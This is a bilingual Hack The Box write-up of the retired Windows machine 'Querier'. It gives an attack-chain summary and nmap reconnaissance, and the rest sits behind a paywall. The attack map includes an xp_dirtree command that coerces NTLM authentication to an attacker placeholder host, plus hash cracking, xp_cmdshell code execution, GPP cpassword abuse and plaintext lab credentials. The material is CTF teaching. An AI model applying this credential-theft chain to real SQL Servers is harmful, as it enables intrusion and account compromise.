Querier — HTB Writeup | The Hack Sparrow

Executive summary — Querier revolves around Microsoft SQL Server 2017 and chains three credential hops, each enabled by a different hygiene failure: an unauthenticated, readable SMB share exposes an Excel workbook with macros that leaks a database credential; that low-privilege account can still call xp_dirtree to force the SQL Server service itself to authenticate over NTLM against a controlled host — capturing and cracking the mssql-svc hash, which is sysadmin; with xp_cmdshell enabled and RCE in hand, PowerUp finds an Administrator credential cached in a Group Policy Preferences file (MS14-025), which opens WinRM as local administrator. What makes this box "Medium" isn't any single step, but an authentication nuance: reporting isn't a native SQL login, it's a Windows account mapped into SQL, and you have to authenticate over NTLM against the machine's NetBIOS name instead of writing the credential off as invalid.

Platform	Hack The Box
Operating system	Windows Server 2019 Standard (Build 17763)
Difficulty	Medium
Status	Retired
Target IP	`10.129.48.201`

Attack map

[445/SMB] \\QUERIER\Reports (null session) -> Currency Volume Report.xlsm
   |  VBA macro -> reporting : PcwTWTHRwryjc$c6
   v
[1433/MSSQL] windows-auth QUERIER/reporting (local Windows account, not a SQL login)
   |  EXEC xp_dirtree '\\<ATTACKER_IP>\x' -> Responder captures mssql-svc NTLMv2
   v
[John] netntlmv2 + rockyou -> mssql-svc : corporate568
   |
   v
[1433/MSSQL] mssql-svc = sysadmin -> xp_cmdshell -> RCE -> user.txt
   |  PowerUp Invoke-AllChecks
   v
[GPP] Cached Groups.xml -> cpassword (MS14-025) -> Administrator : MyUnclesAreMarioAndLuigi!!1!
   |
   v
[WinRM/SMB] Local Administrator -> root.txt + SAM/LSA dump

1. Reconnaissance

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.48.201

PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s          # Microsoft SQL Server
5985/tcp  open  wsman             # WinRM
47001/tcp open  winrm
49664-49671/tcp open  (dynamic RPC)

A ping TTL of ≈127 (starting at 128, one router hop) already points to Windows. What matters more is what's missing: no 88/Kerberos, 389/LDAP or 53/DNS means this is not a domain controller, but a standalone Windows server running SQL Server. The useful surface narrows down to SMB (445) and MSSQL (1433).

sudo nmap -p135,139,445,1433,5985,47001 -sCV -Pn -oN nmap-services.txt 10.129.48.201

1433/tcp  open  ms-sql-s  Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
|     Target_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|_    Product_Version: 10.0.17763
| ms-sql-info:
|_      Version: Microsoft SQL Server 2017 RTM
| smb2-security-mode:
|_    Message signing enabled but not required

The ms-sql-ntlm-info script fires an NTLM challenge at port 1433 and, without authenticating, already returns the host's NetBIOS name (QUERIER) and domain (HTB.LOCAL) — a detail that turns out to be essential later for Windows authentication against SQL Server.

echo "10.129.48.201 querier.htb.local querier.htb QUERIER" | sudo tee -a /etc/hosts

Methodology note: run the full -p- scan first. A default 1000-port scan would have found 445, but port 1433 — this box's actual attack vector — isn't among the common ports and would have been missed.

Resumen ejecutivo — Querier gira en torno a Microsoft SQL Server 2017 y encadena tres saltos de credenciales, cada uno habilitado por un fallo de higiene distinto: un share SMB legible sin autenticar expone un Excel con macros que filtra una credencial de base de datos; esa cuenta, aunque de bajo privilegio, puede invocar xp_dirtree para forzar al servicio de SQL Server a autenticarse por NTLM contra un host controlado — capturando y crackeando el hash de mssql-svc, que sí es sysadmin; con xp_cmdshell habilitado y RCE, PowerUp encuentra una credencial de Administrator cacheada en un fichero de Group Policy Preferences (MS14-025), que abre WinRM como administrador local. Lo que convierte esta máquina en "Medium" no es ningún paso aislado, sino un matiz de autenticación: reporting no es un login SQL nativo, sino una cuenta de Windows mapeada a SQL, y hay que autenticar por NTLM contra el nombre NetBIOS de la máquina en vez de dar la contraseña por inválida.

Plataforma	Hack The Box
Sistema operativo	Windows Server 2019 Standard (Build 17763)
Dificultad	Medium
Estado	Retired
IP objetivo	`10.129.48.201`

Mapa del ataque

[445/SMB] \\QUERIER\Reports (sesion nula) -> Currency Volume Report.xlsm
   |  macro VBA -> reporting : PcwTWTHRwryjc$c6
   v
[1433/MSSQL] windows-auth QUERIER/reporting (cuenta Windows local, no login SQL)
   |  EXEC xp_dirtree '\\<ATTACKER_IP>\x' -> Responder captura NTLMv2 de mssql-svc
   v
[John] netntlmv2 + rockyou -> mssql-svc : corporate568
   |
   v
[1433/MSSQL] mssql-svc = sysadmin -> xp_cmdshell -> RCE -> user.txt
   |  PowerUp Invoke-AllChecks
   v
[GPP] Groups.xml cacheado -> cpassword (MS14-025) -> Administrator : MyUnclesAreMarioAndLuigi!!1!
   |
   v
[WinRM/SMB] Administrator local -> root.txt + volcado SAM/LSA

1. Reconocimiento

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.48.201

PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s          # Microsoft SQL Server
5985/tcp  open  wsman             # WinRM
47001/tcp open  winrm
49664-49671/tcp open  (RPC dinamicos)

Un ping con TTL≈127 (arranque en 128, un salto de router) ya apunta a Windows. El dato importante está en lo que no aparece: sin 88/Kerberos, 389/LDAP ni 53/DNS, esto no es un controlador de dominio, sino un servidor Windows independiente con SQL Server. La superficie útil se reduce a SMB (445) y MSSQL (1433).

sudo nmap -p135,139,445,1433,5985,47001 -sCV -Pn -oN nmap-services.txt 10.129.48.201

1433/tcp  open  ms-sql-s  Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
|     Target_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|_    Product_Version: 10.0.17763
| ms-sql-info:
|_      Version: Microsoft SQL Server 2017 RTM
| smb2-security-mode:
|_    Message signing enabled but not required

El script ms-sql-ntlm-info dispara un desafío NTLM contra el 1433 y, sin autenticar, ya devuelve el nombre NetBIOS del host (QUERIER) y el dominio (HTB.LOCAL) — dato que va a resultar imprescindible más adelante para la autenticación de Windows contra SQL Server.

echo "10.129.48.201 querier.htb.local querier.htb QUERIER" | sudo tee -a /etc/hosts

Detalle de metodología: lanzar primero el -p- completo. Un escaneo de los 1000 puertos por defecto habría encontrado el 445, pero el 1433 —el vector real de esta máquina— no está entre los puertos comunes y se habría perdido.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.